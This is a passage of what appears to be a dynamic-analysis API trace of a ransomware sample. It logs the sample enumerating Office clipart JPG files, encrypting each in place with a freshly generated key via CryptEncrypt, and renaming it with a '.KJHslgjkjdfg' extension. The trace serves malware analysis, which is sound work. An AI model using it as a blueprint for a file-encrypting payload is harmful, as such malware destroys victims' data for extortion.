nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.768] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.768] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.768] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.768] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.768] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.768] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.768] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.768] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.768] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1ce5a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1ce5a, lpOverlapped=0x0) returned 1 [0201.770] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1ce60, dwBufLen=0x1ce60 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1ce60) returned 1 [0201.771] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.771] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1ce60, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1ce60, lpOverlapped=0x0) returned 1 [0201.771] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.771] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1cf34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.772] SetEndOfFile (hFile=0x130) returned 1 [0201.774] GetProcessHeap () returned 0x990000 [0201.774] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.774] GetProcessHeap () returned 0x990000 [0201.774] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.774] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382925.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382925.jpg.kjhslgjkjdfg")) returned 1 [0201.776] CloseHandle (hObject=0x130) returned 1 [0201.781] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1672c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382926.JPG", cAlternateFileName="")) returned 1 [0201.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382926.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.783] GetProcessHeap () returned 0x990000 [0201.783] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.783] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.783] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.783] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.785] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.785] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.785] GetProcessHeap () returned 0x990000 [0201.785] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.785] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.785] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.785] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.785] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.785] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.785] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.785] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.786] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.786] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.786] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.786] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.786] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1672c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1672c, lpOverlapped=0x0) returned 1 [0201.791] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x16730, dwBufLen=0x16730 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x16730) returned 1 [0201.792] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.792] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x16730, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x16730, lpOverlapped=0x0) returned 1 [0201.793] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.793] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x16804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.793] SetEndOfFile (hFile=0x130) returned 1 [0201.796] GetProcessHeap () returned 0x990000 [0201.796] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.796] GetProcessHeap () returned 0x990000 [0201.796] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.796] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382926.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382926.jpg.kjhslgjkjdfg")) returned 1 [0201.797] CloseHandle (hObject=0x130) returned 1 [0201.797] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f86c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382927.JPG", cAlternateFileName="")) returned 1 [0201.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382927.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.798] GetProcessHeap () returned 0x990000 [0201.798] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.798] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.798] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.798] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.800] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.800] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.800] GetProcessHeap () returned 0x990000 [0201.800] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.800] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.800] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.800] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.801] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.801] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.801] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.801] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.801] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.801] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.801] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.801] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.801] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1f86c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1f86c, lpOverlapped=0x0) returned 1 [0201.803] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1f870, dwBufLen=0x1f870 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1f870) returned 1 [0201.804] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.804] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1f870, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1f870, lpOverlapped=0x0) returned 1 [0201.804] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.804] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1f944, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.805] SetEndOfFile (hFile=0x130) returned 1 [0201.807] GetProcessHeap () returned 0x990000 [0201.807] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.807] GetProcessHeap () returned 0x990000 [0201.807] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.807] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382927.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382927.jpg.kjhslgjkjdfg")) returned 1 [0201.809] CloseHandle (hObject=0x130) returned 1 [0201.809] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b83a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382930.JPG", cAlternateFileName="")) returned 1 [0201.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382930.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.810] GetProcessHeap () returned 0x990000 [0201.810] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.810] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.810] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.810] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0201.812] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.812] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.812] GetProcessHeap () returned 0x990000 [0201.812] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.812] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.812] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.812] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.812] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.812] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.812] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.812] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.813] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.813] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.813] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.813] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.813] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1b83a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1b83a, lpOverlapped=0x0) returned 1 [0201.814] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b840, dwBufLen=0x1b840 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b840) returned 1 [0201.816] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.816] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1b840, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1b840, lpOverlapped=0x0) returned 1 [0201.816] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.816] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1b914, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.816] SetEndOfFile (hFile=0x130) returned 1 [0201.819] GetProcessHeap () returned 0x990000 [0201.819] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.819] GetProcessHeap () returned 0x990000 [0201.819] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.819] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382930.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382930.jpg.kjhslgjkjdfg")) returned 1 [0201.820] CloseHandle (hObject=0x130) returned 1 [0201.820] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1df43, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382931.JPG", cAlternateFileName="")) returned 1 [0201.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382931.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382931.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.821] GetProcessHeap () returned 0x990000 [0201.821] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.821] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.821] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.821] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xd, lpOverlapped=0x0) returned 1 [0201.823] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.823] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.823] GetProcessHeap () returned 0x990000 [0201.823] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.823] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.823] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.823] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.824] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.824] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.824] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.824] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.824] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.824] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.824] CryptSetKeyParam 